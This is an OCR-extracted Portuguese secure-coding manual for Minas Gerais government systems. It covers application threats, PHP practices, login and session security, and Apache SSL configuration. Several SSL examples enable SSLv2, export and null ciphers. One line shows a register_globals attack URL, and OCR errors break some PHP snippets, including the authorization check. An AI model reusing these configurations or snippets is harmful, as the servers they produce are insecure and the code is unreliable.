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1. Introducao

1.1. Sobre o manual

Atendendo a requisicdo da Secretaria de Estado de Planejamento e Gestdo de
Minas Gerais, a Ernst & Young redigiu este manual com base em pesquisas e em
sua experiéncia de mercado. Seu principal objetivo € compor uma referéncia Unica
para os requerimentos de seguranca e validacdo dos sistemas desenvolvidos e
adquiridos para oOrgdos e entidades publicas de Minas Gerais. Ao longo do
documento, sdo fornecidas diretrizes e exemplos para o0 estabelecimento de

controles com base em padrées de mercado como:

e CobiT4.1

e CMMi 1.2 para desenvolvimento

e |SO 27002, com énfase nos itens de seguranca de aplicacdes

e SO 15408-2, para requerimentos funcionais de seguranca

e SO 15408-3, para as definicdes de avaliacdo de seguranca e maturidade de
sistemas

e PublicacBes especiais (SPs) 800 do NIST, que fornecem exemplos e praticas

e FIPS 199 e 200 do NIST, para a classificacdo de sistemas

¢ e-PING, que define os padrdes de interoperabilidade do governo eletrénico

e Documentos de entidades ndo governamentais especializadas, como ISACA

e OWASP
Ha dois volumes do manual, sendo:

¢ Volume 1: Requerimentos de seguranca para desenvolvimento e validacéo;

¢ Volume 2: Diretivas para codificacdo segura e interoperabilidade de sistemas.
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1.2. Motivadores

Tradicionalmente, a seguranca da informagcdo tem como foco a implantacdo de
sistemas de controle de acesso global, como firewalls e servidores de autenticacao.
A sofisticacdo dos sistemas sua utilizacdo em modelo distribuido, tem direcionado

ataques para as aplicacdes, que tém requerido maior seguranca.

Dentre as ameacas as aplicacdes, destacam-se:

Cadigo Ameaca Descricao C|D| I
O atacante pode fazer uso de informacdes
Roubo ou vazamento de relevantes que ndo foram devidamente
Tt informacdes protegidas ou que, por algum erro, foram X

mostradas na tela do usuario

O atacante utiliza sua influéncia para
. . descobrir informacdes relevantes que
T | 2 |Engenharia social . X
podem facilitar a descoberta de senhas ou

configuracdes do sistema

Injecéo de instru¢des ou cédigos maliciosos
T | 3 |Ataques de inje¢cédo em campos de entradas de dados, forcando | X X

o sistema a executar comandos do atacante

Uso de aplicagbes web para envio de
cédigos maliciosos a serem executados no
browser de diferentes usuarios finais,

T | 4 |Cross-Site Scripting (XSS) podendo acessar cookies e outras X X
informacdes retidas pelo mesmo, além da
possibilidade de altera¢do do contetudo da
pagina web

Técnicas para utilizacdo indevida de
sessdes de outros usuérios autenticados no
. sistema. Quando este ataque é bem

T | 5 | Roubo de sessdes ) ) X X
sucedido, o atacante adquire todos 0s
privilégios do usuario que teve a sessdo

roubada

) Envio de links de paginas com cédigos
T | 6 |Cross-Site Request Forgery o . X
maliciosos que, se clicados pelo
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destinatario, executam agdes a favor do

atacante

Injecdo de SQL

Injecao de codigos SQL maliciosos em
campos de entradas de dados dos usuarios.
A execucao destes cédigos gera consultas
no banco de dados, revelando informacdes

ao atacante

Estouro de buffer

Ataques que reescrevem fragmentos de
memoria do sistema, podendo interromper a
execucdo do sistema de forma inesperada.
Tais ataques aproveitam-se de
vulnerabilidades em entradas de dados de

usuarios

Execucéo remota

Tomada do controle direto do sistema,
através da insercgdo de scripts maliciosos em

interfaces de texto vulneraveis

10

Interrupgéo do sistema

Interrupgéo inesperada do sistema, causada
por ataques ou pela sobrecarga de recursos

ndo monitorados do sistema

11

Spam

Utilizagdo de e-mail para envio de
mensagens com links maliciosos a diversos

usuarios

12

Afericdo de sucesso em ataques

Uso de informacdes geradas pelo préprio
sistema para aferir se um ataque teve
sucesso ou causou algum impacto.
Mensagens de erro ou de tempo de
execucao sdo comumente usadas por
atacantes para medir o sucesso de seus

ataques

13

Ataques de rob6s

Uso de robds para envio de dados através
de formularios ou para testes de senhas de

acesso

14

Ataques de Forc¢a Bruta

Técnicas utilizadas para a descoberta de
senhas e para burlar controles de acesso,

com base na tentativa e erro

Tabela 1 - Ameagas e seus impactos a Confidencialidade (C), Disponibilidade (D), Integridade (1).

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

Essas ameacas revelam um perfil emergente de atacantes, com foco na obtencéo
de informacgdes confidenciais e na manpulacdo de sistemas, ndo somente na sua

interrupcao.

Um sistema governamental que apresenta falhas pode ter como consequéncias:

Publicidade negativa;

InvestigacOes e aplicacdes legais;

Perda de reputacéo;

Perda da confianca do cidadao.

Naturalmente, ha perdas financeiras decorrentes das falhas, com exemplos

recentes:

e Dados de concursos, arrecadacéo, licitacbes e contratos, bem como
informacdes de pessoas fisicas fazem parte dos sistemas da informacéo de
qualquer governo. Seu vazamento pode gerar custos por atrasar processos
ou trazer ac¢les judiciais.

o Além dos sistemas, é importante ter atencdo as operagfes e ao
ambiente como um todo. O caso da fraude da prova do ENEM em
2009, por exemplo, obrigou o MEC a refazer contratos e imprimir novas
provas gerando prejuizo de aproximadamente R$ 40 milhdes (UOL,
2009);

e Para a seguranca publica, ha suspeitas de que informacfes privilegiadas
reduziram o sucesso de operacdes policiais (1G, 2009);

e Os “mortos-vivos” da previdéncia social ja consumiram cerca de R$ 1,67

bilhdo em beneficios concedidos a segurados falecidos (Vaz, 2009), que
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poderiam ser evitados caso houvesse integracdo entre os sistemas de
cartorios e do INSS;

e H4& polémica quanto a compra de cacgas para o Brasil, em uma disputa entre
fabricantes dos EUA, Franca e Suécia, que estd sendo marcada pelo
vazamento de informacdes;

e Sistemas inseguros podem ferir a legislacéo e atrapalhar investigacdes, como
foi o caso de suspeita de “queima de arquivo publico”, ao serem detectadas
subtracdes dos arquivos de seguranca na Camara dos Deputados (Agéncia

Brasil, 2009).

1.3. Como utilizar este manual

1.3.1. Publico alvo

Gestores, desenvolvedores e avaliadores de sistemas para 6rgdos e entidades
governamentais de Minas Gerais.

1.3.2. Limitagcbes

O manual ndo contempla todas as ferramentas ou emprega todos os controles de
seguranca disponiveis no mercado. Seu uso fundamental é para estabelecer um
conjunto minimo de padrdes de seguranca, que deverdo ser estabelecidos com

controles técnicos definidos pelos desenvolvedores ou compradores.

1.3.3. Procedimentos

A forma mais indicada de utilizar o manual é ter como referéncia o guia rapido de
desenvolvimento seguro, em conjunto com o plano de seguranca (a ser preenchido

durante todo o desenvolvimento), disponiveis nos anexos deste volume.
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1.3.4. Aquisicao de sistemas seguros

Embora o manual seja voltado para o desenvolvimento de sistemas seguros, seu
uso podera ser estendido para o estabelecimento de requerimentos e validacédo de
sistemas adquiridos. Nesses casos, 0s gestores terdo uma ferramenta para garantir
qgue as aplicacdes obtidas no mercado mantém os mesmos niveis de seguranc¢a que

as desenvolvidas com os requerimentos aqui contidos.

Um sistema adquirido devera atender aos requerimentos de seu nivel de seguranca,
estipulado pelo comprador, em acordo com o fornecedor. Portanto, deverdo ser
fornecidos os documentos necessarios para a avaliacdo do sistema, conforme

apresentado no capitulo 4 do volume 1 deste manual.
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2. Técnicas de Programacéo Segura

Em sistemas orientados a objeto, os objetos sdo encapsulados, 0 que 0s protege,
restringindo 0 acesso ao seu conteudo. Por questbes de seguranca, nenhum objeto

deve ser capaz de acessar dados internos de outro objeto.

Algumas questdes de seguranca podem ser encontradas no uso de instanciacao

multipla, polimorfismo e heranca.

A instanciacdo multipla permite a producao iterativa de uma versao mais definida de
um objeto, substituindo as varidveis com valores (ou outras variaveis). Assim,
diferencas entre os dados dentro dos objetos séo feitas para desencorajar objetos
de baixo nivel a obterem informacdes em um alto nivel de seguranca. A técnica
também € utilizada para evitar canais dissimulados baseados em inferéncias,
fazendo com que a mesma informacédo exista em diferentes niveis de classificacéao.
Portanto, usuarios em um nivel inferior de classificacdo ndo sabem da existéncia de

um nivel maior de classificacao.

Na programacdo orientada a objetos, polimorfismo refere-se a capacidade da
linguagem para processar 0s objetos de maneira diferente dependendo, de acordo
com seus tipos de dados. O termo é por vezes usado para descrever uma variavel
que pode se referir a objetos cuja classe ndo é conhecida em tempo de compilacao,
mas que em tempo de execuc¢ao responderdao de acordo com a classe do objeto ao
qual se referem. O uso incorreto do polimorfismo pode levar a problemas de

seguranga.

Uma das atividades basicas de um design orientado a objetos € o estabelecimento
de relacbes entre as classes. Uma maneira fundamental para relacionar classes é
através de heranca, ou seja, quando uma classe de objetos é definida, qualquer

subclasse pode herdar as suas definicdes

A heranca permite que um programador crie uma nova classe similar a uma classe
existente, sem a necessidade de duplicar o codigo. A nova classe herda as
definicdes da antiga classe, e acrescenta outras definicdes. Esta caracteristica ajuda

a reduzir o tempo de desenvolvimento.
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Herangas multiplas podem introduzir complexidade e podem resultar em falhas de
segurangca nNo acesso aos objetos. Questdoes como conflitos de nomes e
ambiguidades devem ser resolvidas para evitar que uma subclasse herde

indevidamente os privilégios de uma superclasse.

SEPLAG - Padrdo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

2.1. Caracteristicas de Cddigos Seguros
2.1.1. Postura de defesa

Manter as informacdes protegidas deve ser uma preocupacdo constante durante o
desenvolvimento de sistemas. Mesmo que uma informacéo nao tenha relevancia ou
nao seja confidencial, a mesma ndo deve ser divulgada, a menos que seja
realmente necessario. Esta postura também se aplica a sistemas operacionais,

linguagens de programagéo, bancos de dados e demais recursos.

Diretivas:

» Manter as informag6es protegidas;

2.1.2. Otimizac&do e monitoramento de desempenho

As caracteristicas de desempenho de um sistema impactam diretamente em sua
disponibilidade. Os programas devem consumir o minimo de recursos do sistema,

liberando o tempo do processador para a execucao das demais tarefas.
Para garantir um bom desempenho, um programa deve:

e Consumir o minimo possivel de tempo de CPU;
e Alocar a menor quantidade possivel de memoria;
e Gravar todos os dados necessarios usando o minimo de espaco em disco;

e Ultilizar a rede de forma econdmica e racional.

E importante que a utilizagdo dos recursos seja monitorada. Temporizadores devem
ser inseridos nos programas para medir seu tempo total de execucao, e ferramentas
especificas devem ser utilizadas para monitorar a disponibilidade dos recursos no

servidor.
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Exemplo de temporizador, ou crondémetro, escrito em php:

class temporizador

var $iniciar;
var $pausar;

/* Construtor do Temporizador */
function temporizador($iniciar= 0)

if($iniciar)
$this->iniciar();
}

/* Inicia o Temporizador */
function iniciar()

$this->iniciar= $this->get_time();
$this->pausar = 0;

}

/* Pausar o Temporizador */
function pause()

$this->pausar = $this->get_time();

}

/* Continuar (ap6s estar pausado) o Temporizador */
function unpause()

$this->iniciar += ($this->get_time() - $this->pausar);
$this->pausar = 0;

}

/* Obter o valor actual do temporizador */
function get($decimais= <IMG class=wp-smiley alt=8) src="http://cgoncalves.com/wp-includes/images/smilies/icon_cool.gif">

return round(($this->get_time() - $this->iniciar),$decimais);

}

/* Formatar o tempo em segundo */
function get_time()

list($usec,$sec) = explode(' ', microtime());
return ((float)$usec + (float)$sec);

A sequir, é apresentado um exemplo de como utilizar a classe do temporizador:

$temporizador = new temporizador (1); / Construtor inicializa o temporizador, entdo néo é preciso sermos nos a fazé-lo
/*

... mysql query ...

*

$query_time = $temporizador->get();

/*

... Processar a Pagina...

*

$tempo_processamento = $temporizador->get();

O resultado seria uma mensagem parecida com a seguinte:

<l-- Esta pagina demorou 2.28 segundos para carregar! -->
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2.1.2.1. Cuidados com temporizadores

E recomendavel que os dados referentes ao tempo de geragdo das péaginas n&o
sejam apresentados pelo browser, pois 0s mesmos podem ser utilizados para medir
0 sucesso de um ataque. A melhor solugdo para esse problema é armazena-los em
um banco de dados, o que permitird gerar estatisticas e relatérios sobre o

desempenho do sistema.

Diretivas:

Consumir o minimo de recursos do sistema;
Consumir o minimo de tempo do processador;
Alocar a menor quantidade de memaria possivel;
Usar o minimo de espaco em disco possivel;
Utilizar a rede de forma econbmica e racional;
Monitorar a utilizacdo dos recursos;

Inserir temporizadores de execucéao;

vV V. V V V V V V

N&o apresentar os dados de tempo de execuc¢do na tela do usuario.
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2.1.3. Estrutura baseada em usuarios ilegitimos

A estrutura do sistema deve ser desenhada com o foco em usuéarios ilegitimos. Por
exemplo: antes de se preocupar em fazer uma pagina de login funcionar, o
desenvolvedor deve filtrar os dados e tratar os riscos referentes a ataques de
injecdo. Apenas depois do tratamento dos riscos ja conhecidos referentes a esses
usuarios, deve-se desenhar a estrutura para os usuarios legitimos. Essa estratégia

proporciona ganhos em velocidade na fase de programacgéao segura.

Formulario de login Tratamento dosriscos ja conhecidos Funcionalidade

Criar campo
nome

Criar rotina Criar rotina Criar rotina

Criar filtro de
dados

de
autenticagao

de validagao para tratar
da variavel SQL Injection

Criar campo
senha

Figura 1 — Estrutura baseada em usuarios ilegitimos.

Diretivas:

» Desenhar a estrutura do sistema com foco em usuarios ilegitimos.

2.1.4. Filtros de dados

Os filtros de dados sé@o essenciais para a implementacdo de seguranca em uma
aplicacdo. Todas as variaveis de entrada do programa devem ser filtradas, sejam
elas digitadas pelos usuarios, recebidas através de arquivos/formularios, ou até

mesmo provenientes da interagdo com servidores de bancos de dados.

A checagem de consisténcia dos dados ndo deve ser feita apenas por codigos
JavaScript, pois esta linguagem pode ser desativada no browser ou um programa
“robd” pode preencher um formulario sem ser descoberto. E essencial que a

checagem também seja realizada no servidor.

Diretivas:

> Filtrar todas as variaveis de entrada do sistema,;

» Checar a consisténcia dos dados no servidor.
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2.1.5. Manipulagéo de erros

As excecdes geradas pelo sistema devem ser manipuladas para que as mensagens
de erro sejam registradas apenas em arquivos de log, impedindo que sejam
apresentadas na tela informa¢des como o endereco do servidor de banco de dados,
variaveis do sistema, ou outras informacdes que possam ser utilizadas por pessoas

mal intencionadas para ataques de inferéncia.

As regras para a manipulacao de erros devem ser definidas em tempo de projeto,
definindo quando e para quem (log do servidor, usuario, suporte, etc) cada evento

deve disparar mensagens.

Exemplos inapropriados de mensagens de erro normalmente encontradas em

sistemas:

e “Falha no login: usuario invalido”;

e “Falha no login: usuéario ndo encontrado”;
e “Falha no login: senha invalida”;

e “Falha no login: conta desabilitada”;

e “Falha no login: usuario inativo”;

Essas mensagens ndo devem ser apresentadas, pois fornecem ao atacante um
direcionamento quanto ao nivel de sucesso do ataque. O ideal é solicitar que o
usuario entre em contato com a area responsavel pelo suporte ou, caso necessario,
apresentar uma mensagem menos especifica, como “Falha no login: usuéario e/ou

senha invalido(s)”
Os logs gerados pelo sistema e pelos servidores devem ser monitorados.

Diretivas:

» Manipular as excecdes geradas pelo sistema;

» Monitorar logs gerados pelo sistema e pelos servidores.
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2.1.6. Limitador de acessos
Devem ser implementados limitadores de acesso ao sistema.

Um exemplo essencial de limitador de acesso € o rate limit, que reage a tentativas
mal sucedidas de login por um usuério, j& que o usuario pode estar tentando quebrar
senhas.

Os acessos por endereco IP também devem ser limitados, através de regras de

firewall ou com ACLs implementadas no sistema.

Diretivas:

» Implementar limitadores de acesso ao sistema.

2.1.7. Paginas de login seguras

Os dados de login (usuario e senha) devem ser postados sobre uma conexao SSL
(Secured Socket Layer), e o botdo de acdo do formulario deve referenciar uma
pagina do tipo HTTPS, com o uso de certificados de cadeia reconhecida

publicamente.

A pagina atual, onde o usuario preenche o formulario de login, deve ser do tipo
HTTPS. Caso contrario, um atacante pode modificar o local de submissdo do
formulario, inserir cédigos JavaScript, ou utilizar sistemas de monitoramento que

roubam os dados de login assim que digitados ou enviados.

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

= Internet - Windows Internet Explorer provided by Ernst & Young
Go- |

Fie Edit View Favorites Tooks Help

W S | conts ' B -8 & - (Frage- Groos-

f idarminio login

Login: | |

Senha: | |

E Intermet *, 100% -

Figura 2 — Pagina HTTPS para login.

Mensagens de alerta ou de erros SSL ndo devem ser apresentadas ao usuario.

A conexdo deve ser negada caso um usuario tente acessar uma versao HTTP da

pagina de login.

Diretivas:

Dados de login devem ser postados sobre uma conexao SSL;
A péagina de login deve ser do tipo HTTPS;
Mensagens de alerta ou de erros SSL ndo devem ser apresentadas ao USUArio;

YV V V V

A conexdo deve ser negada caso um usuario tente acessar uma versdo HTTP da pégina de

login;
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2.1.8. Teste de Turing

Para evitar a acdo de robds, testes de Turing devem ser aplicados aos formularios
do sistema. Um exemplo da aplicagéo destes testes sdo os CAPTCHAS, scripts que
geram imagens aleatoriamente e as apresentam no browser para que sejam

interpretadas pelo usuario, com a finalidade de distinguir computadores e humanos.

Figura 3 — Exemplo de captcha.

Outra maneira de distinguir computadores e humanos é através de CAPTCHA
inverso. Esta técnica consiste em criar um campo escondido no formulario. Desta
forma, se este campo for preenchido, certamente tera sido através da acdo de um

robd, jA que humanos ndo conseguiriam vé-lo.

A aplicacdo de CAPTCHASs deve ser avaliada com antecedéncia, pois pode afetar o
desempenho do sistema. O CAPTCHA inverso, por exemplo, funciona de forma

transparente para o usuario, além de consumir menos recursos do servidor.

Diretivas:

» Aplicar testes de Turing aos formularios do sistema.

2.1.9. Senhas seguras

O tamanho das senhas considera a quantidade minima e maxima de caracteres que
compreendem a senha dos usuarios. O tamanho da senha deve ser configuravel,
usando possivelmente um arquivo de propriedades ou um arquivo XML de

configuragao.

As senhas devem seguir o padréo definido pela politica institucional. Caso o padrao
nao seja aplicavel, é recomendado que as senhas tenham as seguintes

caracteristicas:

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

e As senhas devem ter no minimo 8 caracteres, porém ndo devem ser muito
maiores do que isso, pois as pessoas tendem a esquecer suas senhas, e
guanto maiores elas forem, maiores sdo as chances de ocorrerem
autenticacdes invalidas;

¢ As senhas devem combinar caracteres alfanuméricos (letras e nimeros);

e Toda senha deve possuir pelo menos 1 letra mailscula, e pelo menos 1 letra
minuscula.

e As senhas ndo podem conter caracteres continuos (123; abc) ou mais de 1
caractere idéntico em sequéncia (111; 222).

e Os hashes das antigas senhas utilizadas devem ser mantidos em um
histérico, de forma que o usuério ndo possa usar uma senha ja utilizada em

um passado recente.

Em caso de aplicacdes altamente criticas, deve ser considerado também o fator

multiplo de autenticacéo.

Com fator mdltiplo, a autenticacdo deve requerer a utilizacdo de dois ou mais dos

seguintes fatores:

e Algo que o usuério saiba (senha ou detalhes da conta);
¢ Algo que o usuario possua (tokens ou telefones celulares);

e Algo que o usuario seja (biometria).

Diretivas:

» O tamanho das senhas deve ser configuravel pelo administrador de seguranca do sistema;
» As senhas devem seguir o padrao definido pela politica institucional;

» AplicacBes altamente criticas devem utilizar fator multiplo de autenticagéo.
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2.1.10. Criagao de servidores SSL

Deve ser criado um servidor SSL para forgar a seguranca. Esta tarefa pode ser
realizada de varias formas, de acordo com a necessidade do sistema.

Criando um servidor SSL para comunicar-se apenas através do protocolo SSLv2 e

suas cifras:

httpd.conf
SSLProtocol -all +SSLv2
SSLCipherSuite SSLv2:+HIGH:+MEDIUM:+LOW:+EXP

Criando um servidor SSL para aceitar apenas criptografia forte:

httpd.conf
SSLProtocol all
SSLCipherSuite HIGH:MEDIUM

Criando um servidor SSL para aceitar apenas criptografia forte, mas permitir que os

browsers de exportacdo evoluam para uma criptografia mais forte:

httpd.conf

# permite, a principio, todo tipo de criptografia,

# entdo os browsers podem evoluir para uma criptografia mais forte

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
<Directory /usr/local/apache2/htdocs>

# finalmente, séo negados todos os browsers que néo evoluiram

SSLRequire %{SSL_CIPHER_USEKEYSIZE} >= 128

</Directory>

Criando um servidor SSL para aceitar todos os tipos de cifras, porém requisitando

uma cifra forte para acesso a uma URL particular:

# aceita todos os tipos de cifras
SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

<Location /strong/area>

# exceto para https://hostname/strong/area/ e subsequentes
# requisita cifra forte

SSLCipherSuite HIGH:MEDIUM

</Location>
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Diretivas:

» Deve ser criado um servidor SSL para forcar a seguranca.

2.1.11. Controle de acesso e autenticacao de clientes
Todos os clientes devem ser autenticados através de seus certificados.

Quando todos os clientes sdo conhecidos, como no caso de uma intranet, em que é
conhecida toda a comunidade de usuarios, pode ser utilizada a autenticacdo com

certificado simples:

httpd.conf

# requisita um certificado simples do cliente.
SSLVerifyClient require

SSLVerifyDepth 1

SSLCACertificateFile conf/ssl.crt/ca.crt

O sistema pode também autenticar seus clientes em uma URL especifica, atraves
de seus certificados, permitindo ainda que clientes arbitrarios tenham acesso a

outras partes do servidor:

httpd.conf
SSLVerifyClient none
SSLCACertificateFile conf/ssl.crt/ca.crt

<Location /secure/area>
SSLVerifyClient require
SSLVerifyDepth 1

</Location>

O sistema pode ainda autenticar apenas clientes especificos em algumas URLs,
baseados em seus certificados, mas ainda permitir que clientes arbitrarios acessem
as demais partes do servidor. Para isso, devem ser verificados varios ingredientes
do certificado do cliente. Normalmente, é verificada uma parte ou todo o Nome

Distinto (DN) do sujeito. Para isso existem 2 métodos: mod_auth e SSLRequire.
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O método mod_auth é usado quando os clientes séo de tipos totalmente diferentes,
ou seja, seus Nomes Distintos ndo possuem campos comuns. Neste caso, é

necessario estabelecer uma base de dados contendo senhas para todos os clientes.

httpd.conf
SSLVerifyClient  none

<Directory /usr/local/apache2/htdocs/secure/area>

SSLVerifyClient  require
SSLVerifyDepth 5
SSLCACertificateFile conf/ssl.crt/ca.crt
SSLCACertificatePath conf/ssl.crt

SSLOptions +FakeBasicAuth
SSLRequireSSL

AuthName "Snake Oil Authentication"
AuthType Basic

AuthUserFile lusr/local/apache2/conf/httpd.passwd
require valid-user

</Directory>

No exemplo, a senha usada € uma string ‘password” com criptografia DES:

httpd.passwd

/C=DE/L=Munich/O=Snake Oil, Ltd./OU=Staff/CN=F00:xxj31ZMTZzkVA
/C=US/L=S.F./O=Snake OIl, Ltd./OU=CA/CN=Bar:xxj31ZMTZzkVA
/C=US/L=L.A./O=Snake Oil, Ltd./OU=Dev/CN=Quux:xxj31ZMTZzkVA

7z

O método SSLRequire é usado quando os clientes sdo todos parte de uma

hierarquia comum, que é codificada dentro do Nome Distinto.

httpd.conf
SSLVerifyClient  none
<Directory /usr/local/apache2/htdocs/secure/area>

SSLVerifyClient  require

SSLVerifyDepth 5

SSLCACertificateFile conf/ssl.crt/ca.crt

SSLCACertificatePath conf/ssl.crt

SSLOptions +FakeBasicAuth

SSLRequireSSL

SSLRequire %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \
and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"}

</Directory>
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Diretivas:

> Todos os clientes devem ser autenticados através de seus certificados.

2.1.12. Forcando conexdes seguras

Todo usuéario deve ser forcado a utilizar uma conexdo segura (HTTPS//). Uma
maneira simples de sempre redirecionar 0 usuario a uma conexao segura pode ser

implementada através de um arquivo .htaccess contendo as seguintes instrucdes:

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule A(.*)$ https://www.example.com/$1 [R,L]

O arquivo .htaccess deve estar localizado na pasta principal do sistema. Caso seja
necesséario forcar uma conexdo HTTPS para uma pasta especifica, o arquivo

.htaccess pode ser colocado nesta pasta contendo as seguintes instrucées:

RewriteEngine On

RewriteCond %{SERVER_PORT} 80

RewriteCond %{REQUEST_URI} somefolder

RewriteRule ~(.*)$ https://www.domain.com/somefolder/$1 [R,L]

Diretivas:

» Todo usuério deve ser forcado a utilizar uma conexao segura.
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2.1.13. Seguranca em identificadores de sessé&o

Os identificadores de sessdao devem ser sempre transmitidos em canais seguros,
com a utilizacdo do protocolo SSL, para evitar que sejam capturados durante

transmissoes na rede.

Os identificadores de sessdo SSL devem ser verificados em conjunto com o0s
identificadores da sessdo do usuario, para dificultar ataques de sequestro de

sessao.

Deve ser definido um periodo de validade e um tempo maximo de inatividade para
as sessoes, reduzindo o risco de ataques de escuta do identificador de sessao em
transito (periodo de validade) e de abuso, caso o usuario deixe de fechar a sessao

apos o uso da aplicacdo (tempo de inatividade).

Deve ser implementado um mecanismo para cancelamento de sessdes (logout).
Desta forma, a sessdo é invalidada quando o usuéario encerra a utilizacdo do

sistema.

Os identificadores de sessdo nunca devem ser incluidos na URL, para evitar

ataques de fixacéo de sessao.

Devem ser usados cookies nédo-persistentes, ou seja, cookies sem uma data de
expiracdo definida. Desta forma, o cookie ndo serd armazenado em disco, e seu

conteuldo sera descartado quando o browser for fechado.

Diretivas:

» Os identificadores de sessé@o devem ser sempre transmitidos em canais seguros, com a
utilizagc&o do protocolo SSL;

» Os identificadores de sessdo SSL devem ser verificados em conjunto com os identificadores
da sessao do usuario;

» Deve ser definido um periodo de validade e um tempo maximo de inatividade para as
sessdes;

» Deve ser implementado um mecanismo para cancelamento de sessdes (logout);

» Os identificadores de sessado nunca devem ser incluidos na URL;

» Devem ser usados cookies ndo-persistentes.
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2.1.14. Prevenindo execucéo remota

O ataque de execucdo remota consiste na tomada do controle direto do sistema,

através da exploracao de interfaces de texto vulneraveis a insercao de scripts.

A principal porta de entrada para ataques desse tipo € o uso de entradas de
usuarios como argumentos para a execucdo de linhas de comando. Ha 3 tipos de
ataques de execucao remota: injecdo de codigo php, incorporacdo de cédigos php

em arquivos enviados, e inje¢édo de scripts ou comandos Shell.

A seguir sdo apresentadas algumas estratégias que devem ser adotadas para evitar

a execucao remota.

e Limitar as extensdes de arquivos com permissao para upload;

e Armazenar uploads fora da pasta principal do sistema (document root);
e Filtrar entradas de usuarios;

e Nao incluir scripts provenientes de servidores remotos;

e Escapar adequadamente de todos os comandos Shell e caracteres especiais.

Diretivas:

As extensdes de arquivos com permissao para upload devem ser limitadas;
Todos os uploads devem ser armazenados fora da pasta principal do sistema;
Todas as entradas de usuarios devem ser filtradas;

O sistema nao deve executar scripts provenientes de servidores remotos;

YV V. V V V

O sistema deve escapar de todos os comandos Shell e caracteres especiais.

2.1.15. Monitoracéo

Os logs do servidor web devem ser monitorados constantemente, possibilitando a
identificacdo de problemas e a geracdo de estatisticas de acesso. Os principais
arquivos de log do servidor web a serem analisados sé&o o access.log, que armazena

0s acessos bem sucedidos, e o error.log, que armazena erros de diversos tipos.

Diretivas:

» Os logs do servidor devem ser monitorados constantemente.
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2.2. Técnicas de Seguranca em PHP
2.2.1. Protecgéo de informagdes confidenciais

Informacdes confidenciais devem ser armazenadas apenas em arquivos com a
extensdo .php, pois arquivos com extensdes como .inc, .php.inc, e arquivos de
backup gerados pelos editores de texto (.php~, .bak, .old, entre outros) ndo sao

tratados nativamente pelo servidor web.

Informacdes relevantes (endereco do servidor de banco de dados, dados de login e
senhas de acesso) ndo devem ser armazenadas no diretorio de trabalho do servidor

web.

Diretivas:

» Informacdes confidenciais devem ser armazenadas apenas em arquivos .php;

» Informacgdes relevantes ndo devem ser armazenadas no diretério de trabalho.

2.2.2. Inicializacéo de variaveis

Variaveis, principalmente as que possuem funcdo de verificacdo, autenticacao,
validacdo, ou afins, devem ser sempre inicializadas com valor que negue

autenticacdo (Exemplo: $blogueado = verdadeiro; $autenticado = falso).

No exemplo a seguir, a varidvel $authorized € inicializada com valor = false,

negando a autorizagao:

<?php

$authorized = false;

if (authenticated_user()){
$$authorized = true;

}

if ($autorized){
include "/highly/sensitive/data.php";
}

7>
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No exemplo acima, a variavel $authorized foi inicializada através do comando
$authorized = false;. Caso este comando nao fosse inserido, a validagdo maliciosa

do segundo if poderia ser feita através da seguinte chamada na URL.:

http://www.exemplo?authorized=true

Diretivas:

» Variaveis devem ser sempre inicializadas com valor falso.

2.2.3. Configuracao do PHP
2.2.3.1. register_globals

Sintaxe: register_globals = [ On | Off ]

A diretriz register_globals deve ser desabilitada, mantendo seu valor = Off, pois tem
a funcdo de registrar, de forma automatica, variaveis que foram enviadas através

dos métodos POST, GET e pelo uso de cookies.

Desta forma, € necessario registrar todas as variaveis recebidas, o que permite
controlar todas as variaveis envolvidas na execucdo do script. O registro pode ser

feito da seguinte forma:

<?php
/I Variavel: $age (inteiro)
if (isset($_REQUEST["age"]))
$age = $ REQUEST["age"];
else
$age = NULL;

?>

Outra forma de registrar a variavel € através do operador ternario:

<?php
/' Variavel: $age (inteiro)
$age = isset($_REQUEST["age"]) ? $ REQUEST["age"] : NULL;

7>
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A superglobal $ REQUEST combina os dados provenientes dos métodos $ GET,
$ POST e $_COOKIE. Porém, é recomendavel que sejam registradas somente as

variaveis recebidas por um determinado método:

<?php

/' Variavel: $age (inteiro)

$age = isset($_GET["age"]) ? $_GET["age"] : NULL;
7>

Diretivas:

» Manter a diretriz register_globals = Off;

» Sempre registrar as variaveis.

2.2.3.2. display_errors
Sintaxe: display_errors = [ On | Off ]

A diretriz display_errors deve ser desabilitada no servidor de producéo, para que
eventuais erros ou warnings gerados pelo script ndo sejam exibidos pelo browser

juntamente com a pagina web.

Tais erros poderiam revelar informacdes relevantes, tais como caminhos e nomes de
arquivos do servidor, nomes de usuarios, estruturas de tabelas em SQL, dados de

servidor, entre outras.

No servidor de desenvolvimento, porém, esta diretriz precisa estar habilitada, para

gue sejam identificados os eventuais erros ao longo do cédigo.

Diretivas:

» Manter a diretriz display_errors = Off no servidor de producéo.

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

2.2.3.3. log_errors
Sintaxe: log_errors =[ On | Off ]

Essa diretriz deve ser sempre ativada no servidor de producdo, para que 0S erros
ocorridos durante a execucdo do script sejam registrados em arquivo no servidor

Apache, possibilitando o debug do programa.

Diretivas:

» Manter a diretriz log_errors = On no servidor de producéo.

2.2.3.4. error_reporting
Sintaxe: error_reporting =[ E_ALL & ... ]

E recomendavel que esta diretriz, em ambiente de desenvolvimento, seja habilitada
